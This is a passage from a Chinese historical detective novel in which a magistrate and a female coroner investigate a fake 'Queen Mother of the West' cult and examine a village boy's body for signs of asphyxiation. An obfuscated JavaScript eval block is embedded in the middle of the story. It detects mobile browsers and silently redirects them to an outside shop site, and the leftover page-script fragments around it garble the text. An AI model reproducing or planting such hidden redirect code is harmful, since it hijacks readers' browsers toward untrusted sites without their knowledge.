“古籍里说,西王母其状如人,豹尾,虎齿而善啸,蓬发戴胜[1]。”
应抒弘缓缓吐出这一句,刘原的耳朵不知是怎么长的,当即便回头,“嘿这不是《山海经》的话么?大人别看我是多年不念书了,这还是知道的……西王母虽然样子像人,但长着豹子的尾巴,老虎的牙齿,还能发出长啸,这不妥妥大老虎么?嘿嘿……”
刘原暗自庆幸在京中茶楼的钱没白花,这都是听说书先生讲的,他读的书,差不多都还给了学堂夫子。
在场不知道的,便是葛大郎和卫三这些衙役。
他们都受教点点头——跟着新大人,还能跟着读读书,这要是去学堂,那可是要拎着腊肉去的。虽然听不太明白,但个个抿着嘴傻乐。
而最该听此话的人,又是一副若有所有的模样。
如刘原所说,这些是《山海经》的记载,普通百姓知道么?她刚一扭头,想要问一问,谁知被众人齐刷刷盯着。
怎么?
她以目示意,而卫三则是快把眼睛给挤出泪了。移舟才后知后觉,平静无波道:“哦——大人真是博学……对了,石台县的说书先生讲过西王母么?你们知道西王母长什么样子么?”
葛大郎他们齐齐摇头,“是有讲些戏本……不过好似没西王母的……”
移舟便将目光转移到应抒弘那处。后者也不知为何,只相碰一瞬,便极快挪开了。移舟便只看到县太爷几近完美的下颌线条。
啊,真是不多见的标本——啊呸,真是个不多见的完美人!
刘原恍若不知二人奇异的氛围,这会儿来悄悄挪了身子过来,凑趣说道:“鸣飞村这位西王母,有没有灵颜绝世暂且不论,若要说哪一处相像——确实也都对上了。小周,你看看,一个村东的王姓老妪,往头上插两根鸟毛,都能假冒西王母来骗人了,那我去田地里抓只□□,再拿红绳串几个铜子,岂不是财神显灵了?”
刘原说的财神,还真和他一个姓的。姓刘,名海,是民间信奉的财神之一。
移舟看过民俗画,刘财神额前垂发,骑在蟾背上,手舞一串铜钱,显得天真活泼——和眼前呱呱的刘原的区别,远比西王母小。
她难得撇嘴笑了笑,谁知,这一举动,便让那位西王母拿着权杖——也就一根七扭八拐的枣木,对着她怒目而视,“你走,神不欢迎你!”
西王母梳着平发髻,左右都插着戴胜五颜六色的羽毛,面颊因年纪印已有了不少纹路,发起怒来,连嬉皮笑脸的王立杉都唬了一跳,赶忙回头看了眼,发现西王母指的是移舟,心里暗暗得意:让她不信吧!
但是,口中还有五香肉条的余味,王立杉也算是尽心,等西王母怒气稍稍淡了些,才上前道:“姑,他们是县城里来的,听说了姑姑的本事,专门来见的呢……”
王立杉说话讨巧,但是西王母并不买他的账,反而是将拐棍朝向他,厉声教训道:“昨夜娘娘托梦,说家里有个搅和的,我还不信,原就是你……还不快带着人滚出村去,惊扰了娘娘,大家都吃西北风去!”
“是是是……姑你别生气,气坏了身子怎么伺候王母娘娘呢?我这就带他们走,姑你接着上香啊……”
闻言,西王母也只是轻嗤一声,眼皮也没抬,嫌恶挥手让他们走了。
王立杉赶忙拉着刘原,往村口的方向走,时不时回过头去,要不是回首时没将眼里的一丝鄙夷收敛好,一切倒也相安无事。
移舟微微耸肩,意识甩了甩袖子,身后的小庙香火不断,还有西王母的念经声,虽然听不明白具体内容,也很虔诚的样子。
被神使针对了,移舟也神色自若,走两步,停一步,一会儿看看槐树,一会儿嗅嗅香火气,蹙眉凝神。
原本走在前面的应抒弘也不知几时停了下来,等着人跟上了,才轻声道:“走吧。”
不好落远了,让王家人发觉。
拜访西王母,没什么收获。王立杉难得有一丝愧疚,对着村东家庙的方向,赔笑道:“我姑天天在庙里伺候神仙,脾气是大了些……不过,她是不会杀人的。”
“本官办案,向来只看证据。”
“我姑的腿,坏了,走不了,那些人也不是在我们家庙死的。”
“坏了?”
“是啊……我姑的腿坏了几十年了,从小就走不利索,是不可能走到别的地方害人的……”
刘原则是上下打量了他,王立杉没脸没皮,估计吃了不少好东西,长得人高马大的,“她不可能出去,有没有可能还有帮凶?”
这话,就是个傻子,也能听出刘原是在怀疑他。
王立杉当即便跳了起来,活生生气笑了,“大人你想啊,我们王家人,是鸣飞村最大一家,好好的去杀人做什么?杀人那是要偿命的,我们在这么好一块地方站稳脚跟,闲的没事折腾自己做什么?”
“哦?或许就是因为你们在鸣飞村站稳了脚,这好地方,谁不想要?”
“哼……哼……”
饶是王立杉再泼皮无赖,口舌也没在京城长大的好,接连被问得说不出话来,被气得满脸通红,再气鼓鼓走了,“大人的肉,好吃,心却不是好的!”
“嘿……”刘原仍是嬉皮笑脸对着他的背影呼喊着,“爷我怎么不是好了?我可是天底下大大的好人,不然怎么还给你肉条吃,这可是从京城来的好东西……”
移舟则是看着村子民屋的布局,若有所思。应抒弘却是指着西边,“去那儿看看吧。”
刘原不明所以,但应抒弘明显不想多话,移舟便只能充当县太爷临时的腹中虫,解释道:“水娃,应该不姓王,住的话,可能不是住在村东这样的风水宝地。大人说往另外一边去看,真是英明。”
若不是最后一句硬邦邦、不熟练的吹捧,她这只腹中虫也算相当贴心。
再配上她那无甚表情的侧脸,刘原忍得辛苦,偏头去看大人的反应,应抒弘倒是没多大反应,只是轻轻撇了嘴角——好的不学,学旁人油嘴滑舌做什么?
三月的春风,也甚是恼人,慢慢悠悠地吹,应抒弘一抬头,便看到戴胜掠过水面。而那儿,正冒出个黑亮的脑袋来,不是水娃,还是谁?
还伴着一阵怒吼:“水娃!你又去水里!还不滚回来,下次看我不把你腿打折?”
站在河道边的,同样是一个晒得黝黑干瘦的汉子,肩膀上还扛着一把缺口的锄头,他只顾着训孩子,都没发现应抒弘他们。等人近前去,才抡着锄头要防御,顶着烈日,眯着眼睛去看应抒弘身上的官服,“衙……门的?”
“是——”
没等刘原答完,水娃爹更是警惕,“快走吧,大家伙都忙着插秧……”
应抒弘目光越过他,遥遥指着他身后的水田,“我们进村的时候,绕了点路,看到你们父子在通沟渠?”
“是……”
汉子腿上、手臂、脸颊还沾着不少泥点子。
也不知为何,说到此处,他黝黑的脸颊反倒有一丝不自然的神色。
应抒弘直接道:“你家秧苗已经插好了吗?不嫌弃的话,我去看看?”
话是问的,可话音威严,不怒自威,庄稼汉子只能呐呐应是。他在前面带路,局促得路都不会走了,同手同脚的,好生滑稽。
可在场的人,没一人有心思看这笑话。水娃也时不时回头,警惕打量着他们,像只护家的干巴小老虎。
直至到了水田边,众人才看到了水娃家的田,排在最角落里,说修好的沟渠也没来水。
才有一点点的水过来,没等汇入水田,便在土沟里被泥地吸了个干净。
地里的秧苗也不像隔壁田那样挺立身姿,昂首向上。再不来水,不用两天,便会彻底耷下脑袋,成为土地的肥料。
水娃爹伺候了一辈子的庄稼,年轻时候也是十里八乡有名的插秧能手。因着缺少水源,在众人面前出糗,他老脸挂不住,呐呐解释道:“是我这孩子没将上面挖通好,水才一时过不来,过了午后就好了……”
早上父子二人是如何卖力劳作的,众人都看在眼里。水娃年纪小,但也是田间劳作小能手,一听阿爹把锅扣他头上,虽没反驳,但小少年还是不服气,悄悄把头抬了抬。
看完了沟渠,水娃爹便要薅着水娃回家,衙门的人也该回县城了。但是应抒弘一脸正义凛然,就跟着他走。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14253890|144390||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
水娃爹终于是叹了口气,默默将人带回了家。
水娃家不大,比起叶大娘家,足足少了一半。
他家还在最末,好处也显而易见,旁边另起了一间小屋,像是给两兄弟分家准备的。
谁成想,土娃突然出事了。
而尸体,便摆在里头。幸好春日的天不热,不然是要臭了。
水娃爹原本也是要拦着的,可水娃头一回站了出来,哽咽道:“他们都说阿哥是被神带走了,可是死了就是死了……我只想要阿哥回来……虽然回不来了,但万一他不是被神带走的,是被人害的,我不能什么都不做,就跟个糊涂蛋一样。”
屋里头,移舟正在验尸。这是一具已经僵硬的男尸,里头散发着淡淡的臭气。移舟在门口时已经熟练摸出口罩戴上,才要迈步而入,身旁还有一位大老爷。
验尸的时候,应抒弘向来是在场的。
移舟瞥了他一眼,足足盯了他两眼,也没见他掏出口罩来,默然掏出备用那个,无声递了过去。
无需言语,二人的默契便在此刻。
应抒弘接过,半垂着脑袋系着带子时,便听得身边人的叮嘱:“上回给大人那个是全新的……”
言外之意,出门得自己带着。她是仵作,可不是他的贴身丫头。这些琐事,下回她可不会再做。
而落在应抒弘耳中,却是当下这口罩并非全新的,是她用过的。她向来爱洁,这棉布罩子也用皂荚洗得干净,又在烈日下曝晒,只余淡淡的皂荚味与日头的香气。
还有一丝丝侵入鼻翼的女儿香。
幸好有公事要忙,她也不是个扭捏的闺阁女儿,应抒弘的异样无人察觉。
土娃直挺挺躺在木板床上,身上穿着和水娃差不多的短褂,只是没沾着泥点子。整个人过分僵直,手脚已经不能弯曲。
“死亡半个时辰,便会从小关节出现尸僵的情况,从而慢慢扩展到全身,六七个时辰后,尸体会变得非常强直。死亡时间应该是十二个时辰前……眼下是——”
验尸移舟在行,但是看天估算时辰着实不行。
“巳时四刻,应该是昨夜亥时四刻左右。”
应抒弘接过她的话,再指着土娃异常肿胀的面部,“死因呢?”
“没有明显的外伤,皮肤和鼻腔呈现青紫色,尸斑则是暗紫红色……”
移舟稍稍停顿了一下,思索着是否跟县太爷解释一下这两个颜色的奥秘。
呼吸道阻塞或通气不足,气体交换出现障碍,血液中的还原型血红蛋白增加,使皮肤和黏膜呈现青紫色;而尸斑作为血液在重力作用下沉积在毛细血管和静脉内的表现,颜色受到血液中血红蛋白状态的影响[1]。
“通气不足,窒息而亡?”
应抒弘极快反应过来,也俯身去看土娃脖颈处。只是看到青紫色的皮肤,并未有明显的勒痕,不像是被勒死的。
“嗯,血液回流受阻,面部高度瘀血,呈肿胀状态,所以是紫红色的。”
这是由于窒息导致头面部毛细血管内压力增高,加之血管壁通透性增大,使得血液在颜面部淤积所致[2]。
移舟知趣按下最后这一段的理论知识,县太爷博览群书,似乎是理解的。
她再默默补充:“若是掰开死者口部,或是能看到玫瑰齿,也是窒息而亡的表现。”
不是被人勒死,或是用被褥闷死,都有可能。移舟需要进一步细看死者的鼻腔。
刘原留在外头,也不知从哪里蹦来的一只□□,对着他蹦了两下,直把人来乐坏了,当即去摸了铜钱,要来逗一逗。
应抒弘听到声响,起身出去,看刘原只是安安分分在屋檐下逗着□□玩,便招了水娃说话,“昨夜,你跟你阿哥是睡一处的么?”
水娃生怕他们做了什么,再害怕还是探头看了一眼,见阿哥还是完好躺着,便吸了吸鼻涕答道:“是睡一起的,这儿还是预备给阿哥成亲用的新房……一般是不住人的。”
“这几天,他身体有什么不舒服的地方吗?”
“没有……我阿哥力气可大了,像今日的水沟他一人不用一下子就能通好……不像我还得阿爹指着干。”